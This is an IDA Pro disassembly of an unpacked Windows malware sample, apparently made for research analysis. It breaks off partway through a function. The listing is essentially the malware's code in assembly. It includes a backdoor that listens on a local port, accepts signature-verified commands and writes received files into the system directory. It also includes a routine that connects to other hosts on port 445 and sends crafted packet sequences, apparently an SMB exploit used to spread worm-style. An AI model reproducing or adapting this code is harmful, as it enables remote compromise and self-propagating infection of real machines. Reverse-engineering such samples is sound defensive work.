; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 43878AADF2B218BCCE223712C01AABE6 ; File Name : u:\work\43878aadf2b218bcce223712c01aabe6_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31300000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31301000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31301000 dd 77DD590Bh ; DATA XREF: sub_313033C3+1Ar dword_31301004 dd 77DD59F0h ; DATA XREF: sub_313033C3+38r dword_31301008 dd 77DD23D7h ; DATA XREF: sub_3130336A+3Er dword_3130100C dd 77DD22EAh ; DATA XREF: sub_31303335+14r ; sub_3130336A+1Dr dword_31301010 dd 77DD5C55h ; DATA XREF: sub_31303335+24r dword_31301014 dd 77DD189Ah ; DATA XREF: sub_31303335+2Dr ; sub_3130336A+4Er ... dword_31301018 dd 77E2A571h ; DATA XREF: sub_31302E37+BBr dword_3130101C dd 77DE089Eh ; DATA XREF: sub_31301228+90r dword_31301020 dd 77DE07A3h ; DATA XREF: sub_31301228+A2r dword_31301024 dd 77DE0D79h ; DATA XREF: sub_31301228+C8r dword_31301028 dd 77DE0343h ; DATA XREF: sub_31301228+DBr ; sub_31301228+FDr dword_3130102C dd 77DE0AF0h ; DATA XREF: sub_3130120D+6r dword_31301030 dd 77DE042Eh ; DATA XREF: sub_3130120D+11r dword_31301034 dd 77DDEBA2h ; DATA XREF: sub_313011B9+2r dword_31301038 dd 77DE0BB2h ; DATA XREF: sub_313011B9+41r align 10h dword_31301040 dd 77E79E34h ; DATA XREF: sub_3130372B+Br dword_31301044 dd 77E7980Ah ; DATA XREF: sub_31303717+Dr dword_31301048 dd 77E7A099h ; DATA XREF: sub_31303641+15r dword_3130104C dd 77E76A2Eh ; DATA XREF: sub_31303641+7Fr dword_31301050 dd 77E6BD13h ; DATA XREF: sub_31303575+71r dword_31301054 dd 77E684C6h ; DATA XREF: sub_31303575+B0r dword_31301058 dd 77EBB1E7h ; DATA XREF: sub_313037AEr dword_3130105C dd 77EBA595h ; DATA XREF: sub_313037A8r dword_31301060 dd 77E616B4h ; DATA XREF: sub_31303416+9Br dword_31301064 dd 77EBA6E9h ; DATA XREF: sub_313037A2r dword_31301068 dd 77E75CEBh ; DATA XREF: sub_31302E37+D5r dword_3130106C dd 77E73628h ; DATA XREF: UPX0:31302DCBr ; sub_31303575+Fr dword_31301070 dd 77E75CB5h ; DATA XREF: UPX0:31302DF5r ; sub_31303575+C3r dword_31301074 dd 77E793EFh ; DATA XREF: sub_31302C49+6Er dword_31301078 dd 77E78B82h ; DATA XREF: sub_31302C49+92r dword_3130107C dd 77E777EFh ; DATA XREF: sub_31302BFB+2Ar ; sub_31303112+3Er ... dword_31301080 dd 77E61BB8h ; DATA XREF: sub_31302B15+38r dword_31301084 dd 77E7C2C4h ; DATA XREF: sub_31302A9B+8r dword_31301088 dd 77E76432h, 77E7513Ch ; DATA XREF: sub_31302755+14Er ; sub_31302755:loc_3130299Er ... dword_31301090 dd 77E73167h ; DATA XREF: sub_313011A0+Fr ; UPX0:313025A3r ... dword_31301094 dd 77F5157Dh ; DATA XREF: sub_31301228:loc_313012FAr ; sub_31301228:loc_31301309r ... dword_31301098 dd 77E77C4Ch ; DATA XREF: sub_31301228+1Er dword_3130109C dd 77E61608h ; DATA XREF: sub_31301228+10r ; sub_313023D4+Ar dword_313010A0 dd 77E77963h ; DATA XREF: sub_31301341+116r ; sub_31301562+66r ... dword_313010A4 dd 77E79D8Ch ; DATA XREF: sub_31301341+F2r ; sub_3130263B+EDr dword_313010A8 dd 77E7A837h ; DATA XREF: sub_31301341+83r ; sub_3130263B+8Fr ... dword_313010AC dd 77E73BEFh ; DATA XREF: sub_31301341+69r ; sub_31301631+4Fr ... dword_313010B0 dd 77E705C5h ; DATA XREF: sub_31301341+4Cr ; sub_31301341+14Br dword_313010B4 dd 77E704FCh ; DATA XREF: sub_31301341+3Fr ; sub_31301341+13Er ... dword_313010B8 dd 77E73C49h ; DATA XREF: sub_313014C6+8Er ; sub_31302BFB+42r ... dword_313010BC dd 77E74A3Bh ; DATA XREF: sub_313014C6+1Br dword_313010C0 dd 77E79D5Bh ; DATA XREF: sub_31301562+C2r ; sub_31302E23+8r dword_313010C4 dd 77E7AC37h ; DATA XREF: sub_31301562+B1r ; sub_31302AAA+12r ... dword_313010C8 dd 77E737DEh ; DATA XREF: sub_31301562+98r ; sub_31302E37+14r dword_313010CC dd 77E74672h ; DATA XREF: sub_31301631+253r ; sub_31301631+272r ... dword_313010D0 dd 77E61BE6h ; DATA XREF: sub_31301631+16Cr ; sub_31301E60+A4r ... dword_313010D4 dd 77E79C90h ; DATA XREF: sub_31301B98+4Dr dword_313010D8 dd 77E7A5FDh ; DATA XREF: sub_31301B98+13r ; sub_31301C20+2Cr dword_313010DC dd 77E79F93h ; DATA XREF: sub_31301B98+Dr ; sub_31301C20+26r ... dword_313010E0 dd 77E61A90h ; DATA XREF: sub_31301C20+BCr dword_313010E4 dd 77E706B7h ; DATA XREF: sub_31301C20+8Ar ; sub_31303416+92r dword_313010E8 dd 77E7751Ah ; DATA XREF: sub_31302260+13r ; sub_31302755+1Er ... dword_313010EC dd 77E74155h ; DATA XREF: UPX0:31302472r ; sub_3130263B+3Dr ... dd 0 dword_313010F4 dd 77C41FA0h ; DATA XREF: sub_3130379Cr dword_313010F8 dd 77C41FB0h ; DATA XREF: sub_31303796r dword_313010FC dd 77C1BE00h ; DATA XREF: sub_31302755+1F6r dword_31301100 dd 77C35280h ; DATA XREF: sub_313023D4+24r ; sub_31302A6D+22r ; --------------------------------------------------------------------------- loc_31301104: ; DATA XREF: sub_31303790r xor [edx], bl retn 0D877h ; DATA XREF: sub_313037B4:loc_31303780r ; --------------------------------------------------------------------------- db 1Ah, 0C2h, 77h dword_3130110C dd 77C43AB0h ; DATA XREF: sub_31301E60+13Br ; sub_313020A2+16r ... dword_31301110 dd 77C43500h ; DATA XREF: sub_31301D2B+37r ; sub_31302755+BAr dword_31301114 dd 77C43710h ; DATA XREF: sub_3130374Ar dword_31301118 dd 77C43490h ; DATA XREF: sub_31303744r dword_3130111C dd 77C42E10h ; DATA XREF: sub_3130373Er dword_31301120 dd 77C3528Dh ; DATA XREF: sub_31301228+103r ; sub_313021F7+Cr ... align 8 dword_31301128 dd 77D4BDCAh ; DATA XREF: sub_31301C20+5Dr dword_3130112C dd 77D4456Bh ; DATA XREF: sub_31301C20+67r dword_31301130 dd 77D45CBCh ; DATA XREF: sub_31301C20+7Ar dword_31301134 dd 77D4C96Ah ; DATA XREF: sub_31301631+62r ; sub_31301E60+8Dr ... dd 0 dword_3130113C dd 762211EFh ; DATA XREF: sub_31302BE5+8r ; sub_31303256+2Br dword_31301140 dd 7620AFB6h ; DATA XREF: sub_3130263B+18r dword_31301144 dd 7620BD61h ; DATA XREF: sub_3130263B+DBr dword_31301148 dd 76214750h ; DATA XREF: sub_3130263B+A9r align 10h dword_31301150 dd 71AB41DAh ; DATA XREF: sub_31302D8D+10r dword_31301154 dd 71AB12A7h ; DATA XREF: sub_31302F59+5Br dword_31301158 dd 71AB32CAh ; DATA XREF: sub_31302BA6+Cr dword_3130115C dd 71AB1740h ; DATA XREF: sub_31302BA6+17r dword_31301160 dd 71AB12F8h ; DATA XREF: sub_31302B6B+7r dword_31301164 dd 71AB2BBFh ; DATA XREF: sub_31302B6B+1Er ; sub_31302BA6+25r dword_31301168 dd 71AB1890h ; DATA XREF: sub_31302260+50r dword_3130116C dd 71AB401Ch ; DATA XREF: sub_31301631+44r dword_31301170 dd 71AB3E5Dh ; DATA XREF: sub_31301631+15Dr ; sub_31301E60+46r dword_31301174 dd 71AB8629h ; DATA XREF: sub_31301631+550r ; sub_31302BFB+33r dword_31301178 dd 71AB3C22h ; DATA XREF: sub_31301562+10r ; sub_31301631+2Br ... dword_3130117C dd 71AB1746h ; DATA XREF: sub_31301562+38r ; sub_31301631+147r ... dword_31301180 dd 71AB3ECEh ; DATA XREF: sub_31301562+4Br ; sub_31302C49+100r ... dword_31301184 dd 71AB5DE2h ; DATA XREF: sub_31301562+60r ; sub_31302C49+10Dr ... dword_31301188 dd 71AB868Dh ; DATA XREF: sub_31301562+7Er ; sub_31302C49+120r ... dword_3130118C dd 71AB1A6Dh ; DATA XREF: sub_313014C6+86r ; sub_31301631+559r ... dword_31301190 dd 71AB5690h ; DATA XREF: sub_31301228+3Br ; sub_31301341+D9r ... dword_31301194 dd 71AB1AF4h ; DATA XREF: sub_31301228+111r ; sub_31301341+95r ... align 10h ; =============== S U B R O U T I N E ======================================= sub_313011A0 proc near ; CODE XREF: sub_313014C6+32p push esi mov esi, ecx push offset aCont ; "cont" and dword ptr [esi], 0 lea eax, [esi+4] push eax call dword_31301090 ; lstrcpy mov eax, esi pop esi retn sub_313011A0 endp ; =============== S U B R O U T I N E ======================================= sub_313011B9 proc near ; CODE XREF: sub_313014C6+3Ap push ebx push ebp mov ebx, dword_31301034 push esi push edi xor ebp, ebp mov edi, ecx push ebp push 1 push ebp lea esi, [edi+10h] push ebp push esi call ebx ; CryptAcquireContextA test eax, eax jnz short loc_313011E8 push 8 push 1 push ebp push ebp push esi call ebx ; CryptAcquireContextA test eax, eax jnz short loc_313011E8 push 1 pop eax jmp short loc_31301208 ; --------------------------------------------------------------------------- loc_313011E8: ; CODE XREF: sub_313011B9+1Bj ; sub_313011B9+28j add edi, 14h push edi push ebp push ebp push 114h push offset dword_31304000 push dword ptr [esi] call dword_31301038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_31301208: ; CODE XREF: sub_313011B9+2Dj pop edi pop esi pop ebp pop ebx retn sub_313011B9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3130120D proc near ; CODE XREF: sub_313014C6+7Ep push esi mov esi, ecx push dword ptr [esi+14h] call dword_3130102C ; CryptDestroyKey push 0 push dword ptr [esi+10h] call dword_31301030 ; CryptReleaseContext xor eax, eax pop esi retn sub_3130120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31301228 proc near ; CODE XREF: sub_313014C6+46p var_28 = byte ptr -28h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi lea eax, [ebp+var_28] push edi mov [ebp+var_8], ecx push eax call dword_3130109C ; GetSystemTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_28] push eax call dword_31301098 ; SystemTimeToFileTime mov esi, 4000h push esi call sub_31303717 mov ebx, [ebp+arg_0] pop ecx mov edi, eax push 0 push esi push edi push dword ptr [ebx] call dword_31301190 ; recv lea esi, [edi+8] push 8 lea eax, [ebp+var_10] push esi push eax call sub_3130373E ; memcpy mov ecx, [ebp+var_10] mov eax, [ebp+var_C] add esp, 0Ch sub ecx, [ebp+var_18] sbb eax, [ebp+var_14] cmp eax, 8 jg short loc_31301309 jl short loc_31301296 cmp ecx, 61C46800h ja short loc_31301309 loc_31301296: ; CODE XREF: sub_31301228+64j cmp eax, 0FFFFFFF7h jl short loc_31301309 jg short loc_313012A5 cmp ecx, 9E3B9800h jb short loc_31301309 loc_313012A5: ; CODE XREF: sub_31301228+73j lea eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push 0 push 0 push 8003h push dword ptr [eax+10h] call dword_3130101C ; CryptCreateHash test eax, eax jz short loc_313012FA push 0 push 8 push esi push [ebp+var_4] call dword_31301020 ; CryptHashData test eax, eax jz short loc_313012FA mov eax, [edi+10h] cmp eax, 2800h ja short loc_313012FA mov ecx, [ebp+var_8] xor esi, esi push esi push esi push dword ptr [ecx+14h] push eax lea eax, [edi+14h] push eax push [ebp+var_4] call dword_31301024 ; CryptVerifySignatureA test eax, eax jnz short loc_31301322 loc_313012FA: ; CODE XREF: sub_31301228+98j ; sub_31301228+AAj ... call dword_31301094 ; RtlGetLastWin32Error push [ebp+var_4] call dword_31301028 ; CryptDestroyHash loc_31301309: ; CODE XREF: sub_31301228+62j ; sub_31301228+6Cj ... call dword_31301094 ; RtlGetLastWin32Error push 2 pop esi loc_31301312: ; CODE XREF: sub_31301228+117j push edi call sub_3130372B pop ecx mov eax, esi pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31301322: ; CODE XREF: sub_31301228+D0j push [ebp+var_4] call dword_31301028 ; CryptDestroyHash call dword_31301120 ; rand push esi push 4 push edi mov [edi], eax push dword ptr [ebx] call dword_31301194 ; send jmp short loc_31301312 sub_31301228 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31301341 proc near ; CODE XREF: sub_313014C6+6Ap var_220 = byte ptr -220h var_118 = byte ptr -118h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 220h cmp [ebp+arg_8], 8 push ebx push esi push edi jge short loc_31301360 push 0 push [ebp+arg_8] push [ebp+arg_4] jmp loc_313014B8 ; --------------------------------------------------------------------------- loc_31301360: ; CODE XREF: sub_31301341+10j mov esi, [ebp+arg_4] mov ebx, 104h mov eax, [esi] lea edi, [esi+8] test eax, eax mov [ebp+arg_4], eax jnz loc_31301471 lea eax, [ebp+var_220] push ebx push eax call dword_313010B4 ; GetSystemDirectoryA lea eax, [ebp+var_220] push eax call dword_313010B0 ; SetCurrentDirectoryA mov eax, [edi] push ebx mov [ebp+arg_8], eax mov eax, [edi+4] mov [ebp+var_4], eax lea eax, [edi+8] push eax lea eax, [ebp+var_118] push eax call dword_313010AC ; lstrcpyn xor eax, eax push eax push eax push 2 push eax push eax lea eax, [ebp+var_118] push 40000000h push eax call dword_313010A8 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_3130145F mov ebx, dword_31301194 push 0 push 8 push esi push [ebp+arg_0] mov dword ptr [esi+4], 1 call ebx ; send mov eax, [ebp+arg_8] xor edx, edx div [ebp+var_4] xor edx, edx mov [ebp+arg_4], eax mov eax, [ebp+arg_8] div [ebp+var_4] test edx, edx jz short loc_31301407 inc [ebp+arg_4] loc_31301407: ; CODE XREF: sub_31301341+C1j and [ebp+var_8], 0 cmp [ebp+arg_4], 0 jle short loc_31301454 loc_31301411: ; CODE XREF: sub_31301341+111j push 0 push [ebp+var_4] push edi push [ebp+arg_0] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh mov [ebp+arg_8], eax jz short loc_31301454 lea ecx, [ebp+var_10] push 0 push ecx push eax push edi push [ebp+var_C] call dword_313010A4 ; WriteFile mov eax, [ebp+arg_8] push 0 push 8 push esi push [ebp+arg_0] mov [esi+4], eax call ebx ; send inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jl short loc_31301411 loc_31301454: ; CODE XREF: sub_31301341+CEj ; sub_31301341+E5j push [ebp+var_C] call dword_313010A0 ; CloseHandle jmp short loc_313014C1 ; --------------------------------------------------------------------------- loc_3130145F: ; CODE XREF: sub_31301341+8Fj and dword ptr [esi+4], 0 push 0 push 8 push esi push [ebp+arg_0] call dword_31301194 ; send loc_31301471: ; CODE XREF: sub_31301341+31j cmp [ebp+arg_4], 1 jnz short loc_313014A0 lea eax, [ebp+var_118] push ebx push eax call dword_313010B4 ; GetSystemDirectoryA lea eax, [ebp+var_118] push eax call dword_313010B0 ; SetCurrentDirectoryA push 0 push 4 push esi push [ebp+arg_0] call dword_31301194 ; send loc_313014A0: ; CODE XREF: sub_31301341+134j cmp [ebp+arg_4], 3 jnz short loc_313014C1 push dword ptr [edi] add edi, 4 push edi call sub_31302B15 pop ecx pop ecx push 0 push 4 push esi loc_313014B8: ; CODE XREF: sub_31301341+1Aj push [ebp+arg_0] call dword_31301194 ; send loc_313014C1: ; CODE XREF: sub_31301341+11Cj ; sub_31301341+163j pop edi pop esi pop ebx leave retn sub_31301341 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_313014C6 proc near ; DATA XREF: sub_31301562+AAo var_30 = byte ptr -30h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h push esi push edi call sub_31302A6D mov esi, [ebp+arg_0] push 6 pop ecx lea edi, [ebp+var_18] rep movsd push [ebp+var_4] call dword_313010BC ; SetEvent mov esi, 10000h push esi call sub_31303717 pop ecx mov edi, eax lea ecx, [ebp+var_30] call sub_313011A0 lea ecx, [ebp+var_30] call sub_313011B9 lea eax, [ebp+var_18] lea ecx, [ebp+var_30] push eax call sub_31301228 test eax, eax jnz short loc_3130153A loc_31301515: ; CODE XREF: sub_313014C6+72j push 0 push esi push edi push [ebp+var_18] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh jz short loc_3130153A test eax, eax jz short loc_3130153A push eax push edi push [ebp+var_18] call sub_31301341 add esp, 0Ch jmp short loc_31301515 ; --------------------------------------------------------------------------- loc_3130153A: ; CODE XREF: sub_313014C6+4Dj ; sub_313014C6+5Fj ... push edi call sub_3130372B pop ecx lea ecx, [ebp+var_30] call sub_3130120D push [ebp+var_18] call dword_3130118C ; closesocket push 0 call dword_313010B8 ; ExitThread pop edi xor eax, eax pop esi leave retn 4 sub_313014C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_31301562 proc near ; DATA XREF: sub_31302E37+90o var_44 = dword ptr -44h var_40 = byte ptr -40h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 44h push ebx push esi xor esi, esi push edi push esi push 1 push 2 call dword_31301178 ; socket mov [ebp+var_4], eax push 10h lea eax, [ebp+var_1C] push esi push eax call sub_31303744 ; memset add esp, 0Ch mov [ebp+var_1C], 2 mov [ebp+var_18], esi loc_31301593: ; CODE XREF: sub_31301562+59j lea eax, [esi+0BFBh] push eax call dword_3130117C ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1C] push 10h push eax push [ebp+var_4] call dword_31301180 ; bind test eax, eax jz short loc_313015BD inc esi cmp esi, 0Ah jl short loc_31301593 loc_313015BD: ; CODE XREF: sub_31301562+53j push 32h push [ebp+var_4] call dword_31301184 ; listen mov ebx, dword_313010A0 loc_313015CE: ; CODE XREF: sub_31301562+CDj lea eax, [ebp+var_8] mov [ebp+var_8], 10h push eax lea eax, [ebp+var_2C] push eax push [ebp+var_4] call dword_31301188 ; accept lea esi, [ebp+var_2C] lea edi, [ebp+var_40] mov [ebp+var_44], eax movsd movsd movsd movsd xor esi, esi push esi push esi push 1 push esi call dword_313010C8 ; CreateEventA mov [ebp+var_30], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_44] push esi push eax push offset sub_313014C6 push esi push esi call dword_313010C4 ; CreateThread push eax call ebx ; CloseHandle push 3E8h push [ebp+var_30] call dword_313010C0 ; WaitForSingleObject push [ebp+var_30] call ebx ; CloseHandle jmp short loc_313015CE sub_31301562 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31301631 proc near ; CODE XREF: sub_313030B2+35p ; sub_31303112+47p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31303750 mov eax, dword_31304B0C push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31304B10 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_31301178 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31301B91 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_3130116C ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_313010AC ; lstrcpyn lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31304B00 push eax call dword_31301134 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_313016A4: ; CODE XREF: sub_31301631+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_313016A4 push 60h lea eax, [ebp+var_E4] push offset dword_31304614 push eax call sub_3130373E ; memcpy lea eax, [ebp+var_4C] push eax call sub_3130374A ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_3130373E ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_3130374A ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_3130373E ; memcpy lea eax, [ebp+var_4C] push eax call sub_3130374A ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_3130373E ; memcpy lea eax, [ebp+var_4C] push eax call sub_3130374A ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_3130373E ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31303744 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31303744 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_3130117C ; htons mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31301170 ; connect cmp eax, 0FFFFFFFFh jz loc_31301B87 mov esi, dword_313010D0 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_31301194 push 89h push offset dword_313043FC push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh jz loc_31301B7C push 0 push 0A8h push offset dword_31304488 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh jz loc_31301B7C push 0 push 0DEh push offset dword_31304534 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh jz loc_31301B7C cmp eax, 46h jl loc_31301B7C cmp [ebp+var_730], 31h jnz loc_31301A27 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31303744 ; memset add esp, 0Ch push offset loc_31304120 call dword_313010CC ; lstrlen push eax lea eax, [ebp+var_EA4] push offset loc_31304120 push eax call sub_3130373E ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_313010CC ; lstrlen push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_3130373E ; memcpy mov eax, dword_31304A40 add esp, 0Ch mov [ebp+var_798], eax loc_313018C8: ; CODE XREF: sub_31301631+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh jz loc_31301B7C push 0 push 68h push offset dword_31304678 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh jz loc_31301B7C push 0 push 0A0h push offset dword_313046E4 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh jz loc_31301B7C cmp [ebp+arg_0], 0 jz loc_31301B17 push 68h lea eax, [ebp+var_89E4] push offset dword_3130489C push eax call sub_3130373E ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_3130373E ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_31304908 push eax call sub_3130373E ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_3130373E ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_3130497C push eax call sub_3130373E ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh jz loc_31301B7C push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31301B6F ; --------------------------------------------------------------------------- loc_31301A27: ; CODE XREF: sub_31301631+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31303744 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31304A7C push eax call sub_3130373E ; memcpy push offset loc_31304120 call sub_3130374A ; strlen push eax lea eax, [ebp+var_24E4] push offset loc_31304120 push eax call sub_3130373E ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_31304AF8 push eax call sub_3130373E ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31304A7C push eax call sub_3130373E ; memcpy add esp, 40h push offset loc_31304120 call sub_3130374A ; strlen push eax lea eax, [ebp+var_21B0] push offset loc_31304120 push eax call sub_3130373E ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31301AC3: ; CODE XREF: sub_31301631+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31301AC3 and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31303744 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31303744 ; memset add esp, 18h jmp loc_313018C8 ; --------------------------------------------------------------------------- loc_31301B17: ; CODE XREF: sub_31301631+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_31304788 push eax call sub_3130373E ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_3130373E ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_31304808 push eax call sub_3130373E ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31301B6F: ; CODE XREF: sub_31301631+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_31301B7C: ; CODE XREF: sub_31301631+1ADj ; sub_31301631+1E1j ... push 2 push [ebp+var_4] call dword_31301174 ; shutdown loc_31301B87: ; CODE XREF: sub_31301631+166j push [ebp+var_4] call dword_3130118C ; closesocket pop esi loc_31301B91: ; CODE XREF: sub_31301631+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_31301631 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31301B98 proc near ; CODE XREF: UPX0:loc_31302DFBp var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push 